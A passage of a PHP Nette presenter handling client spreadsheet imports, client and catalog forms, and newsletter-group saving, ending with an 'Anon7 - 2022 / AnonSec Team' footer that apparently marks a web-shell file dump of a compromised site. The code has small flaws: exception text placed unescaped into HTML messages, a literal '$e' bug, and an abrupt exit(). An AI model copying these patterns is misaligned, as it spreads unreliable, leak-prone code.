    /**
     * Edit client form factory.
     * @return Form
     */
    protected function createComponentImportForm()
    {
        $form = new \Promoteus\Form;

        $form->addUpload('file')
            ->addRule(Form::MIME_TYPE, 'Soubor musí být ve formátu csv nebo xlsx.', ['text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])
            ->addRule(Form::MAX_FILE_SIZE, 'Maximum file size is 10  mb.', 10000 * 1024 /* size in Bytes */)
            ->setRequired(TRUE);
        $form->addSubmit('import', 'Importovat klienty')
            ->setAttribute('class', 'btn btn-information');
        $form->onSuccess[] = [$this, "import"];

        return $form;
    }

    /**
     * @param Form $form
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function import($form)
    {
        $values = $form->getValues();
        /** @var FileUpload $file */
        $file = $values->file;

        /** @var CatalogRepository $catalogRepository */
        $catalogRepository = $this->context->getService('catalogRepository');
        /** @var CurrentSupplierRepository $currentSupplierRepository */
        $currentSupplierRepository = $this->context->getService('currentSupplierRepository');
        /** @var CompanyTypeRepository $companyTypeRepository */
        $companyTypeRepository = $this->context->getService('companyTypeRepository');
        /** @var CatalogPrintsRepository $catalogPrintsRepository */
        $catalogPrintsRepository = $this->context->getService('catalogPrintsRepository');

        //podle typu obsahu vybere reader, pokud neznam, necham Excel at nahraje soubor sam.
        switch ($file->getContentType()) {
            case "text/csv":
                $objReader = (new PHPExcel_Reader_CSV())
                    ->setDelimiter(';')
                    ->setEnclosure('"')
                    ->setSheetIndex(0);

                $excel = $objReader->load($file);
                break;
            default:
                $excel = PHPExcel_IOFactory::load($file);
        }

        $sheet = $excel->getActiveSheet();

        $excelToDatabaseMap = array_flip(static::DATABASE_COLUMN_TO_EXCEL_COLUMN);
        $map = [];
        for ($i = 0; $i < 80; $i++) {
            $excelColumn = $sheet->getCellByColumnAndRow($i, 1)->getValue();
            if (array_key_exists($excelColumn, $excelToDatabaseMap)) {
                $map[$excelToDatabaseMap[$excelColumn]] = $i;
            }
        }
        $diff = count($excelToDatabaseMap) - count($map);
        if ($diff !== 0) {
            $this->flashMessage("Dokument neodpovídá aktuální podobě. Chybí $diff sloupců. Doplňte prosím sloupce podle exportu.", 'danger');
            return;
        }

        $rowCount = intval($sheet->getHighestDataRow()) + 1;

        try {
            /** @var Connection $db */
            $db = $this->context->getService('nette.database.default');
            $db->beginTransaction();
            for ($i = 2; $i < $rowCount; $i++) {
                $clientData = [];
                foreach ($map as $dtb_column => $index) {
                    $clientData[$dtb_column] = $sheet->getCellByColumnAndRow($index, $i)->getValue();
                }
                $this->refactoringAndValidateData($clientData);

                $groups = $clientData["newsletter_group_id"];
                unset($clientData["newsletter_group_id"]);

                $currentSupplier = $clientData["current_supplier"];
                unset($clientData["current_supplier"]);

                $catalogPrints = $clientData["catalog_prints"];
                unset($clientData["catalog_prints"]);

                $companyTypes = $clientData["company_type"];
                unset($clientData["company_type"]);

                $clientId = $this->repository->persist($clientData['id'], $clientData)->id;

                if ($catalogPrints) {
                    $ids = [];
                    foreach ($catalogPrints as $catalogPrint) {
                        $catalogPrint['client_id'] = $clientId;
                        $ids[] = $catalogPrintsRepository->insertIfNotExist($catalogPrint)->id;
                    }
                    $forDel = $catalogPrintsRepository->getBy(['id NOT IN' => $ids, 'client_id' => $clientId]);
                    if ($forDel)
                        $forDel->delete();

                }
                if ($currentSupplier) {
                    $currentSupplierRepository->saveCurrentSupplier($clientId, $currentSupplier);
                }

                if ($companyTypes) {
                    $companyTypeRepository->saveCompanyTypes($clientId, $companyTypes);
                }

                $this->saveNewsletterGroups($clientId, $groups);

                if ($clientData['is_minicatalog']) {
                    $catalog = $catalogRepository->getUserCatalog($clientData['id']);
                    if ($catalog) {
                        $this->saveCatalogUser($clientId, $catalog->id_catalog, empty($clientData['id']));
                    }
                }
            }
            $db->commit();
            $this->flashMessage("Klienti byli importováni", 'success');
        } catch (InvalidArgumentException|Exception $e) {
            $this->flashMessage("Na řádku číslo $i došlo k chybě:<br>" . $e->getMessage(), 'danger');
            $db->rollBack();
        }
    }

    /**
     * @return \Promoteus\Forms\MyForm
     */
    public function createComponentClientProfileForm()
    {

        /** @var ClientForm $form */
        $form = $this->context->getService('componentClientForm');
        $presenter = $this;

        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) use ($presenter) {
            /** @var DataGrid $grid */
            $grid = $presenter['grid']['grid'];
            $grid->redrawControl();
            $presenter->handleModal();
        });
        $form = $form->create($this->getParameter('id'));
        $row = $this->repository->getById($this->getParameter('id'));
        if ($row) {
            $row->update(['shown' => true]);
        }
        return $form;
    }

    /**
     * @return \Promoteus\Forms\MyForm
     */
    public function createComponentClientProfileCloneForm()
    {

        /** @var ClientCloneForm $form */
        $form = $this->context->getService('componentClientCloneForm');
        $presenter = $this;

        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) use ($presenter) {
            /** @var DataGrid $grid */
            $grid = $presenter['grid']['grid'];
            $grid->redrawControl();
            $presenter->handleModal();
        });
        $form = $form->create($this->getParameter('id'));
        $row = $this->repository->getById($this->getParameter('id'));
        if ($row) {
            $row->update(['shown' => true]);
        }
        return $form;
    }

    /**
     * @return \Promoteus\Forms\MyForm
     */
    public function createComponentClientCatalogForm()
    {
        $clientId = $this->getHttpRequest()->getUrl()->queryParameters['grid-id'] ?? $this->getHttpRequest()->getPost('client_id');

        /** @var ClientCatalogForm $form */
        $form = $this->context->getService('clientCatalogForm');
        $presenter = $this;

        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) use ($presenter, $clientId) {
            $this->clientCatalogModification(array($values), $clientId, 'přidan');
            /** @var DataGrid $grid */
            /*$grid = $presenter['grid']['grid'];
            $grid->redrawControl();
            $presenter->handleModal();*/
            $this->redirect('this');
        });
        return $form->create($clientId);
    }

    /**
     * @param array $catalog
     * @param $clientId
     * @param string $action
     * @throws RepositoryException
     * @throws \Nette\Utils\UnknownImageFileException
     */
    private function clientCatalogModification(array $catalog, $clientId, string $action)
    {
        unset($catalog['id'], $catalog['client_id'], $catalog['created']);
        $this->repository->update(
            $clientId,
            [
                'admin_modification_at' => new DateTime()
            ], [
                //'Katalog' => ''
                    /*[implode($catalog, ';'), $action],*/
            ]
        );
    }

    public function handleDeleteCatalog($id, $clientId)
    {
        /** @var CatalogPrintsRepository $catalogPrintsRepository */
        $catalogPrintsRepository = $this->context->getService('catalogPrintsRepository');
        try {
            $catalog = array($catalogPrintsRepository->delete($id));
            $this->clientCatalogModification($catalog, $clientId, 'smazán');
            $this->getPresenter()->flashMessage('Katalog ID: ' . $id . ' byl smazán!', 'success');
        } catch (RepositoryException $e) {
            $this->getPresenter()->flashMessage('Katalog ID: ' . $id . ' nebyl smazán!<br> $e', 'danger');
        }
        /** @var DataGrid $grid */
        /*$grid = $this['grid']['grid'];
        $grid->redrawControl();
        $this->redrawControl('flashes');
        $this->handleModal();*/
        $this->redirect('this');
    }

    /**
     * @param $clientId
     * @param $catalogId
     * @param bool $new
     */
    private function saveCatalogUser($clientId, $catalogId, $new = FALSE)
    {

        /** @var CatalogRepository $repository */
        $repository = $this->context->getService('catalogRepository');

        if (!$new) {
            $repository->deleteConnection($clientId);
        }

        if ($catalogId != 0) {
            $repository->addConnection($clientId, $catalogId);
        }


    }

    /*
        private function saveNewsletterGroups($clientId, $groups, $new = FALSE)
        {
            /** @var ClientNewsletterGroupRepository $clientNewsletterGroupRepository
            $clientNewsletterGroupRepository = $this->context->getService('clientNewsletterGroupRepository');
            $repository = $clientNewsletterGroupRepository;

            if (!$new) {
                $repository->deleteByClientId($clientId);
            }

            foreach (explode(',', $groups) ?: [] as $group_id => $allowed) {
                if ($allowed) {
                    $repository->insert(array('client_id' => $clientId, 'newsletter_group_id' => $group_id));
                }
            }
        }
    */
    private function saveNewsletterGroups($clientId, $groups)
    {
        /** @var ClientNewsletterGroupRepository $repository */
        $repository = $this->context->getService('clientNewsletterGroupRepository');

        if ($groups == null) {
            $repository->deleteByClientId($clientId);
            return;
        } elseif (is_string($groups)) {
            $groups = explode(",", $groups);
        } elseif (is_array($groups)) {
            $a = 0;
            $modGroup = null;
            foreach ($groups as $key => $value) {
                if ($value == TRUE) {
                    $modGroup[$a] = $key;
                    $a++;
                }
            }
            if ($modGroup == null) {
                $modGroup = false;
            }
            $groups = $modGroup;
        } elseif (is_double($groups)) {
            $groups = array("0" => strval(intval($groups)));
        } else {
            Debugger::barDump($groups);
            exit("FATAL ERROR when saving newsletter groups for user " . $clientId . " pokud toto náhodou někdy nastane, prosím okamžitě mě kontaktovat! Martin");
        }
        $repository->deleteByClientId($clientId);
        if ($groups != false) {
            foreach ($groups as $group_id) {
                $repository->insert(array('client_id' => $clientId, 'newsletter_group_id' => $group_id));
            }
        }

    }
}

Anon7 - 2022
AnonSec Team